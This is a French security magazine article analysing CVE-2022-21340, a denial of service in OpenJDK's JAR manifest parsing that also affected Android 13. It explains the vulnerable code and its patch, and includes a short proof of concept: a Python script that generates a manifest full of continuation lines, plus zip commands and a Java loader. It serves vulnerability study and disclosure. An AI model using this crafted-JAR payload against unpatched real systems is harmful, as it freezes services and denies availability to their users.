CVE-2022-21340 : ou comment ouvrir les JAR sans en mettre partout

Magazine
Marque
MISC
Numéro
134
Mois de parution
juillet 2024
Spécialité(s)


Résumé

Depuis ses origines et jusqu’à des mises à jour récentes des versions 8, 11 et 17, les archives Java, étaient comme une boîte de chocolats : on ne pouvait jamais savoir si on allait faire tomber la JVM… ou bien l’Android RunTime dans Android 13.


Body

La méthode utilisée par OpenJDK pour extraire les informations contenues dans une archive Java (ou fichier JAR) était assez peu regardante quant aux ressources utilisées jusque relativement récemment. Si, par analogie, le contenu du JAR était de la confiture, on peut dire que OpenJDK s’en mettait partout sur le tas. Et tout autant que sur les doigts, la confiture ça colle !

Le ramasse-miette (ou garbage collector) a beau se démener, il était assez aisé de geler la machine virtuelle… dans le cas d’OpenJDK et celui d’Android 13.

1. Identification du code vulnérable

1.1 D’où vient le problème ?

Le problème date des origines d’OpenJDK, lors de son premier commit (appelé initial load) en 2007 dans ${java.base}/share/classes/java/util/jar/Attributes.java [1].

Pour traiter un fichier JAR, un programme Java s’aide des métadonnées contenues dans un fichier META-INF/MANIFEST.MF (que l’on appellera fichier Manifest) inclus dans ce même fichier JAR. Ils sont présentés sous la forme de couples : attribut et sa valeur associée. Dans l’exemple ci-dessous, ligne 4, l’attribut Name se voit attribuer la valeur WriteFileTest.class. Un caractère deux points ‘:’ sépare l’un de l’autre et une ligne sépare un couple du suivant. Ce dernier point est vrai sauf dans un cas bien précis qui nous intéresse pour la suite : si une ligne du fichier Manifest dépasse 512 octets. Dans ce cas, on peut continuer à écrire un attribut sur la ligne suivante. Il faut alors que cette nouvelle ligne débute par un espace vide, ou valeur 0x20 en hexadécimal. Parmi les attributs d’un fichier Manifest, on retrouve habituellement sa version, le nom de la classe principale (qui présente une fonction main), le nom de l’entité/développeur qui l’a créée et parfois une signature permettant de vérifier l’intégrité du fichier JAR (voir ligne 5 de l’exemple ci-dessous). C’est ce que l’on retrouve, par exemple, dans ce fichier JAR de test à l’intérieur d’OpenJDK-11 à jdk/test/jdk/java/util/jar/JarEntry/test.jar :

01 Manifest-Version: 1.0
02 Created-By: 1.2.2 (Sun Microsystems Inc.)
03
04 Name: WriteFileTest.class
05 SHA1-Digest: A5aRlkoatU3ZHpYwDaGjji8LaUs=

La vulnérabilité que nous abordons dans cet article est localisée dans la méthode int read(Manifest.fastInputStream is, byte[] lbuf,String filename,int lineNumber) de la classe Attributes.java. Cette méthode lit le fichier Manifest ligne à ligne, en y cherchant les attributs les uns après les autres. À la lecture d’un de ces attributs, la méthode adopte une approche incrémentale : en mémorisant chaque ligne entre deux déclarations d’attributs (voir ligne 376 ci-dessous). Pour reprendre l’exemple du pot de confiture, il s’agit d’augmenter incrémentalement sa force sur le couvercle du pot de confiture.

371 void read(Manifest.FastInputStream is, byte[] lbuf) throws IOException {
372          String name = null, value;
373          byte[] lastline = null;
374
375          int len;
376          while ((len = is.readLine(lbuf)) != -1) {

Comme le montre la ligne 388 : si la prochaine ligne commence par un caractère vide (" ", ou 0x20), alors la lecture de la valeur du dernier attribut déclaré n’est pas terminée. Tant qu’il y a une ligne à lire pour un même attribut du fichier Manifest, la méthode de lecture crée à chaque ligne un nouvel objet buf dont la taille égale la somme des lignes précédentes plus la taille de cette nouvelle ligne : `len`. La méthode alors concatène les lignes déjà lues lastline avec la nouvelle ligne qui vient de l’être lbuf (lignes 400 et 401).

388              if (lbuf[0] == ' ') {
389              // continuation of previous line
...              ...
398                  lineContinued = true;
399                  byte[] buf = new byte[lastline.length + len - 1];
400                  System.arraycopy(lastline, 0, buf, 0, lastline.length);
401                  System.arraycopy(lbuf, 1, buf, lastline.length, len - 1);

Si, et seulement si, la prochaine ligne à être traitée déclare un nouvel attribut (c’est-à-dire qu’elle ne commence pas par un espace, ligne 402), le programme évite le continue; (ligne 404) et peut convertir l’addition des lignes lues (buf) en chaîne de caractères (value, ligne 406). À la prochaine itération de la boucle commencée ligne 376, le programme entrera dans la branche else de la ligne 408, plutôt que celle du if de la ligne 388.

402                  if (is.peek() == ' ') {
403                      lastline = buf;
404                      continue;
405                  }
406                  value = new String(buf, 0, buf.length, UTF_8.INSTANCE);
407                  lastline = null;
408              } else {
...                  ...
412                  name = new String(lbuf, 0, 0, i - 2);
413                  if (is.peek() == ' ') {
414                      lastline = new byte[len - i];
415                      System.arraycopy(lbuf, i, lastline, 0, len - i);
416                      continue;
417                  }
428                  value = new String(lbuf, i, len - i, UTF_8.INSTANCE);
...                 
434              }
435          }          
436      }

Ce qui apparaît comme une approche « à tâtons », nous apparaîtra alors vite comme très maladroit. On a appliqué trop de force sur notre pot de confiture et celui-ci nous saute des mains pour s’écraser sur le sol à peine a-t-on pu réaliser que chaque tour de l’itération sur les lignes crée un nouveau buffer de résultat intermédiaire ‘buf’ (ligne 399) sur le tas. Sa taille fait la somme de la taille des lignes précédentes plus la taille de la nouvelle ligne, plus un espace de séparation entre chaque ligne de l’attribut en lecture. Rapidement, on crée ainsi des objets de taille sizeof(ligne), sizeof(ligne)x2,…,sizeof(ligne)xN, sizeof(ligne)x(N+1),… Et s’il y a beaucoup de lignes à lire, cela fera beaucoup d’objets qui iront éclabousser un peu partout sur le tas. Ainsi est né le déni de service connu sous le petit nom de CVE-2022-21340.

1.2 Développement du PoC

Maintenant que l’on sait que la méthode pour ouvrir le pot de confiture est susceptible d’exploser, il n’y a plus qu’à s’assurer du désastre en le remplissant de confiture à ras bord. Pour Java et OpenJDK, cela revient à remplir un attribut du fichier Manifest de beaucoup de lignes. En tenant compte du fait que chaque ligne du fichier Manifest ne dépasse pas 512 octets : dégâts garantis !

Un programme Python (on l’appellera generate.py) qui permet de créer la valeur d’un attribut adéquat est le suivant :

01 #!/usr/bin/python3
02
03 print("a: " + 230*"b ")
04 for i in range(0,300000):
05      print(" " + 230*"b ")

Il génère 300.001 lignes : une ligne commençant avec l’attribut “a ” suivie de deux cent trente “b ” (valeur 0x62 20 en hexadécimal). S’en suivent trois cent mille lignes commençant par un espace (0x20), suivi de deux cent trente “b ” (0x62 20) pour chaque ligne.

Il suffit alors de compresser dans un fichier JAR le dossier contenant le fichier Manifest :

01 $ OUTPUT_DIR=.
02 $ META_DIR="${OUTPUT_DIR}/META-INF/"
03 $ mkdir $META_DIR
04 $ python3 generate.py > "${META_DIR}/MANIFEST.MF"
05 $ cd $OUTPUT_DIR
06 $ zip -rv test.jar $META_DIR

Et enfin de demander à une version vulnérable d’OpenJDK d’aller y lire les attributs en utilisant les bons appels API :

01 import java.util.Map;
02 import java.util.jar.Attributes;
03 import java.util.jar.JarFile;
04
05 public class Main {
06      
07      public static void main(String[] args) throws Exception {
08
09          // target jar file
10          String TARGET_JAR = args[0];
...
18          System.out.println("start reading jar..."+TARGET_JAR);
19          java.util.jar.JarFile jf = new JarFile(TARGET_JAR);
20          Map<String, Attributes> e2a = jf.getManifest().getEntries();
21          Attributes ma = jf.getManifest().getMainAttributes();
22          String v = ma.getValue("a");
23          for (String s: e2a.keySet()) {
24              System.out.println("key: "+ s);
25          }
26          System.out.println("end reading jar...");
27      }

Le JAR ouvert, la confiture se répand partout et gèle le programme.

Si on fait varier la taille du fichier JAR, en entrée, on observe bien un déni de service. Si la valeur de l’attribut tient sur deux ou trois lignes, le programme termine en une fraction de seconde, sans erreur. En revanche, comme le montre la figure 1, le temps nécessaire pour décompresser le fichier en entrée n’augmente pas linéairement avec la taille de la valeur de l’attribut. Sur Ubuntu 22.04 avec 32Go de RAM et 512Mo alloués au tas, l’ouverture prend une minute pour un attribut écrit sur 19 Mo, alors qu’elle prend dix minutes pour un attribut écrit sur 60 Mo. Ce qui se confirme encore sur la figure 1, où on peut lire qu’il faut dix-sept minutes en moyenne pour un fichier Manifest constitué d’un attribut écrit sur 80 Mo.

donnees vs temps 2-s 0

Fig. 1 : Évolution du temps que prend l’ouverture du fichier JAR selon sa taille.

1.3 Mais que fait la police ?

Le ramasse-miettes (ou garbage collector pour les anglophones) patrouille, il travaille, mais il n’est pas de taille, comme le montre la figure 2. On observe via l’outil de visualisation JConsole [2] que le travail est de plus en plus dur : sur les huit premières minutes, ce sont deux mille appels au ramasse-miettes à la minute, puis trois mille par minute au-delà. Toujours sur le matériel évoqué en section 1.2, on observe un second problème au bout d’une demi-heure. Un problème qui en soi n’est pas lié à la CVE-2022-21340, mais qui vient s’y ajouter. JConsole nous fournit l’information que pendant une dernière minute, la fréquence d’appel au ramasse-miettes passe à quatre mille cinq cents collectes à la minute, avant que le programme... termine sur une erreur : java.lang.OutOfMemoryError: Java heap space. Ce deuxième problème vient du fait qu’OpenJDK ne vérifie pas la taille du fichier Manifest en entrée, ou ne limite pas sa taille.

gc use narrow-s

Fig. 2 : Suivi de la mémoire sur JConsole.

Dans le cas où un fichier Manifest dépasse 108.5Mo, l’attente avant l’erreur peut avoisiner la demi-heure (voir l’axe des abscisses sur la figure 2) pour un tas de 512 Mo.

start reading jar...source_jar/test.jar
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
     at java.base/java.util.jar.Attributes.read(Attributes.java:397)
     at java.base/java.util.jar.Manifest.read(Manifest.java:230)
     at java.base/java.util.jar.Manifest.<init>(Manifest.java:80)
     at java.base/java.util.jar.JarFile.getManifestFromReference(JarFile.java:423)
     at java.base/java.util.jar.JarFile.getManifest(JarFile.java:406)
     at Main.main(Main.java:20)
Command exited with non-zero status 1

La saturation s’observe dans le journal du ramasse-miettes :

[2484,139s][info ][gc ] GC(236868) Pause Full (G1 Humongous Allocation) 256M->256M(512M) 3,118ms

La dernière collecte se fait alors que seule la moitié du tas est occupée (256 Mo). On constate que le ramasse-miettes n’a alors pas pu libérer plus d’espace. Cela implique que d’un côté tout ce qui est sur le tas doit rester référencé. C’est notamment le cas de lastLine, pour pouvoir le concaténer avec la nouvelle ligne de l’attribut (voir ligne 400 et 401 de la méthode read de lecture des attributs en section 1.1). De l’autre côté, le ramasse-miettes est appelé. Ce qui signifie qu’il n’y a, en l’état, pas la place pour le nouvel objet à référencer (l’objet buf qui fait la taille de lastLine plus une ligne). En conséquence, la somme de la taille des deux dépasse l’espace disponible sur le tas et génère une erreur.

2. Correction de la vulnérabilité

2.1 Utiliser les bons outils

C’est sur le site de suivi des bogues Bugzilla que l’on retrouve le lien vers le correctif [3]. Ce patch, présenté en figure 3, propose d’utiliser la classe java.io.ByteArrayOutputStream pour ouvrir le fichier JAR proprement. Cette classe possède la particularité de créer des tableaux d’octets dont la taille peut être modifiée en mémoire (voir extrait ci-dessous). On utilise alors un seul et même objet plutôt que d’allouer toujours plus de ressource sur le tas. Dans le correctif, fullLine (ligne 370) est un objet de classe java.io.ByteArrayOutputStream. À l’écriture de nouveaux octets, la méthode ensureCapacity() (ligne 21 ci-dessous) vérifie s’il y a la place de le faire. Cela permet d’éviter d’écrire là où d’autres objets pourraient déjà être référencés.

..
03 public class ByteArrayOutputStream extends OutputStream {
..      ...
07       /**
08       * Writes {@code len} bytes from the specified byte array
09       * starting at offset {@code off} to this {@code ByteArrayOutputStream}.
..
18       */
19      public synchronized void write(byte b[], int off, int len) {
20          Objects.checkFromIndexSize(off, len, b.length);
21          ensureCapacity(count + len);
22          System.arraycopy(b, off, buf, count, len);
23          count += len;
24      }
..
28 }

Mais ByteArrayOutputStream contient aussi une méthode reset() qui assigne le champ count (nombre d’octets valides) à zéro. Cela permet de réutiliser le même objet plutôt que d’allouer, à chaque itération, un nouvel espace pour un nouveau tableau d’octets toujours plus grand que le précédent ! C’est intéressant dans notre cas, car cela évite de remplir le tas, et de surcharger le garbage collector de travail.

01      public synchronized void reset() {
02          count = 0;
03      }

Lorsque l’on relance le programme avec une version corrigée d’OpenJDK celui-ci termine maintenant en une fraction de seconde, quelle que soit la taille des valeurs des attributs du fichier Manifest. Et ce, même dans le cas où le fichier Manifest sature le tas (lire en 2.2.1).

...
     028 + import java.io.ByteArrayOutputStream;
...
     370 +    ByteArrayOutputStream fullLine = new ByteArrayOutputStream();...     396 +      fullLine.write(lbuf, 1, len - 1);398 397        if (is.peek() == ' ') {400 398          continue;401 399        }     400 +      value = fullLine.toString(UTF_8.INSTANCE);     401 +      fullLine.reset();
...     415 +        fullLine.reset();     416 +        fullLine.write(lbuf, i, len - i);...

Fig. 3 : Patch de la CVE-2022-21340.

2.2 Versions affectées par la CVE

2.2.1 OpenJDK

Le code responsable de l’insertion de cette CVE date des débuts d’OpenJDK, en 2007. Le patch correctif est, quant à lui appliqué en septembre 2021 pour OpenJDK-17, en novembre 2021 pour OpenJDK-8 et janvier 2022 dans OpenJDK-11. Il ne sera intégré qu’à partir des versions : 8u322, 11.0.14, et 17.0.2. Si la CVE-2022-21340 est résolue, le programme plante alors toujours lorsqu’un fichier JAR plus grand que le tas est fourni ; mais il a l’amabilité de le faire une fraction de seconde (et non plus en 30 minutes). Il faudra attendre juillet 2023 pour que la taille d’entrée soit limitée dans les trois versions LTS de OpenJDK (8, 11 et 17) [4]. Alors enfin JarFile:getBytes() lance une exception en amont de la lecture, et nous informe que la taille du fichier Manifest est désormais limitée à 16 Mo (8 Mo dans un premier temps).

Exception in thread "main" java.io.IOException: Unsupported size: 138600464 for JarEntry META-INF/MANIFEST.MF. Allowed max size: 16000000 bytes
     at java.base/java.util.jar.JarFile.getBytes(JarFile.java:810)

2.2.2 Android

Là où le bât blesse, c’est en pensant aux programmes qui utilisent des versions non-patchées d’OpenJDK, et notamment Android. Comme ce dernier a mis du temps à mettre en place une automatisation des mises à jour d’OpenJDK dans l’Android Runtime (ART) (pour lire plus à ce sujet, voir [5]), la version vulnérable fut présente jusqu’en février 2023 [6]. Soit plus d’un an et demi après sa publication dans OpenJDK-17. En voulant l’ouvrir (voir code disponible en [7]), quelqu’un a fait tomber notre pot de confiture dans le Tiramisu (Android 13). De manière moins imagée, une application Android essayant d’ouvrir le fichier JAR gèle jusqu’à ce que le système nous propose de fermer l’application qui ne répond pas (vidéo disponible en [8]). Pour un fichier Manifest de taille 2,8 Mo (i<=6000 lignes dans le programme generate.py de la section 1.2), le système met 9 secondes à ouvrir le fichier Manifest. C’est tout juste ce qu’il faut pour que le message de déni de service ne s’affiche pas sur Android si on appuie de manière répétée sur l’activité.

android gc3-s

Fig. 4 : Le garbage collector d’Android lui aussi a du mal.

On voit d’ailleurs sur la figure 4, que pour un fichier JAR de grande taille, le ramasse-miettes est appelé fréquemment, ne contenant qu’un objet de grande taille, occupant tout l’espace du tas (“0% free”) et n’arrivant plus rien à libérer.

Lorsque le fichier Manifest dépasse 132 Mo (soit 285.000 lignes) Android Runtime s’arrête assez rapidement, nous informant qu’il ne peut allouer autant de ressources.

Conclusion

De cette histoire, on retiendra que ce n’est pas parce qu’il y a quelqu’un qui nettoie que l’on peut laisser traîner ses déchets, même avec Java. Et si la CVE-2022-21340 n’affecte au final que la disponibilité, on a pu voir qu’assez aisément ce type de vulnérabilité, relativement triviale à exploiter, a perduré la majeure partie de la vie d’OpenJDK… jusqu’à déborder sur Android.

Références

[1] OpenJDK, Initial Load commit de OpenJDK-7, https://hg.openjdk.org/jdk7/jdk7/jdk/file/37a05a11f281/src/share/classes/java/util/jar/Attributes.java, visité le 5 février 2024

[2] OpenJDK, The Java Monitoring and Management Console (jconsole), https://openjdk.org/tools/svc/jconsole/, visité le 7 février 2024

[3] Sean Coffeys, Correctif de CVE-2022-21340, https://github.com/openjdk/jdk17u/commit/f2cb3d0f6cf16d12abd811b42484a0b7df8fd124, visité le 5 février 2024

[4] OpenJDK, Commit limitant la taille du fichier Manifest à 8 puis 16 Mo, https://github.com/openjdk/jdk/commit/ecd0bc1d6205d1d1eca67cbfb9d4deaeb65739aa, https://github.com/openjdk/jdk/commit/e47a84f23dd2608c6f5748093eefe301fb5bf750

[5] T.Riom & A.Bartel, An In-Depth Analysis of Android’s Java Class Library: its Evolution and Security Impact, https://www.abartel.net/static/p/secdev2023-AndroidJCL.pdf, visité le 5 février 2024

[6] Android, Correctif de CVE-2022-21340 dans Android, Android, https://cs.android.com/android/_/android/platform/libcore/+/4c551dbec6cf5f10f6bd269a2f5451ada352e1cc, visité le 5 février 2024

[7] SES group - Umeå Universitet, Application exploitant CVE-2022-21340 sur Android 13, https://github.com/software-engineering-and-security/AndroidsJCL-SecDev23/tree/main/RQ3-Exploit, visité le 5 février 2024

[8] SES group - Umeå Universitet, Vidéo du déni de service sur Android, https://www.youtube.com/shorts/ybUCuvrV3-E, visité le 5 février 2024



Article rédigé par

Par le(s) même(s) auteur(s)

Désamorcer des bombes logiques

Magazine
Marque
MISC
Numéro
111
Mois de parution
septembre 2020
Spécialité(s)
Résumé

Aujourd’hui, les développeurs de code malveillant sont capables de contourner les mesures de sécurité et les techniques d’analyse les plus poussées grâce à de simples mécanismes appelés « bombes logiques ». Un exemple significatif est le Google Play qui accepte toujours des applications malveillantes pouvant déjouer ses barrières de sécurité. Cette introduction aux bombes logiques permet de sensibiliser sur les différentes solutions pouvant être mises en place pour détecter ces artifices.

De l'utilisation d'une bibliothèque à l'exécution d'un code arbitraire

Magazine
Marque
MISC
Numéro
110
Mois de parution
juillet 2020
Spécialité(s)
Résumé

Dans cet article, nous présentons une vulnérabilité de la version 3.1 de Commons Collections. Cette vulnérabilité, nommée « CommonsCollections1 », permet à un attaquant l’exécution d’un code arbitraire ou Remote Code Execution (RCE). Ce travail reprend certains concepts des deux articles publiés dans les versions précédentes de MISC en 2018 et 2019 [1,2].

Désérialisation Java : une brève introduction au ROP de haut niveau

Magazine
Marque
MISC
Numéro
101
Mois de parution
janvier 2019
Spécialité(s)
Résumé

Les processus de sérialisation et de désérialisation Java ne manipulent que des données et non du code. Malheureusement, comme pour une chaîne ROP, il est possible de combiner des « gadgets » Java pour exécuter du code arbitraire lorsque la désérialisation s’effectue sur des données contrôlées par un attaquant. Nous présentons dans cet article une vulnérabilité de désérialisation affectant directement les libraires standards de la machine virtuelle Java.

Les derniers articles Premiums

Les derniers articles Premium

Bun.js : l’alternative à Node.js pour un développement plus rapide

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Dans l’univers du développement backend, Node.js domine depuis plus de dix ans. Mais un nouveau concurrent fait de plus en plus parler de lui, il s’agit de Bun.js. Ce runtime se distingue par ses performances améliorées, sa grande simplicité et une expérience développeur repensée. Peut-il rivaliser avec Node.js et changer les standards du développement JavaScript ?

PostgreSQL au centre de votre SI avec PostgREST

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Dans un système d’information, il devient de plus en plus important d’avoir la possibilité d’échanger des données entre applications. Ce passage au stade de l’interopérabilité est généralement confié à des services web autorisant la mise en œuvre d’un couplage faible entre composants. C’est justement ce que permet de faire PostgREST pour les bases de données PostgreSQL.

La place de l’Intelligence Artificielle dans les entreprises

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

L’intelligence artificielle est en train de redéfinir le paysage professionnel. De l’automatisation des tâches répétitives à la cybersécurité, en passant par l’analyse des données, l’IA s’immisce dans tous les aspects de l’entreprise moderne. Toutefois, cette révolution technologique soulève des questions éthiques et sociétales, notamment sur l’avenir des emplois. Cet article se penche sur l’évolution de l’IA, ses applications variées, et les enjeux qu’elle engendre dans le monde du travail.

Petit guide d’outils open source pour le télétravail

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Ah le Covid ! Si en cette période de nombreux cas resurgissent, ce n’est rien comparé aux vagues que nous avons connues en 2020 et 2021. Ce fléau a contraint une large partie de la population à faire ce que tout le monde connaît sous le nom de télétravail. Nous avons dû changer nos habitudes et avons dû apprendre à utiliser de nombreux outils collaboratifs, de visioconférence, etc., dont tout le monde n’était pas habitué. Dans cet article, nous passons en revue quelques outils open source utiles pour le travail à la maison. En effet, pour les adeptes du costume en haut et du pyjama en bas, la communauté open source s’est démenée pour proposer des alternatives aux outils propriétaires et payants.

Les listes de lecture

11 article(s) - ajoutée le 01/07/2020
Clé de voûte d'une infrastructure Windows, Active Directory est l'une des cibles les plus appréciées des attaquants. Les articles regroupés dans cette liste vous permettront de découvrir l'état de la menace, les attaques et, bien sûr, les contre-mesures.
8 article(s) - ajoutée le 13/10/2020
Découvrez les méthodologies d'analyse de la sécurité des terminaux mobiles au travers d'exemples concrets sur Android et iOS.
10 article(s) - ajoutée le 13/10/2020
Vous retrouverez ici un ensemble d'articles sur les usages contemporains de la cryptographie (whitebox, courbes elliptiques, embarqué, post-quantique), qu'il s'agisse de rechercher des vulnérabilités ou simplement comprendre les fondamentaux du domaine.
Voir les 70 listes de lecture

Abonnez-vous maintenant

et profitez de tous les contenus en illimité

Je découvre les offres

Déjà abonné ? Connectez-vous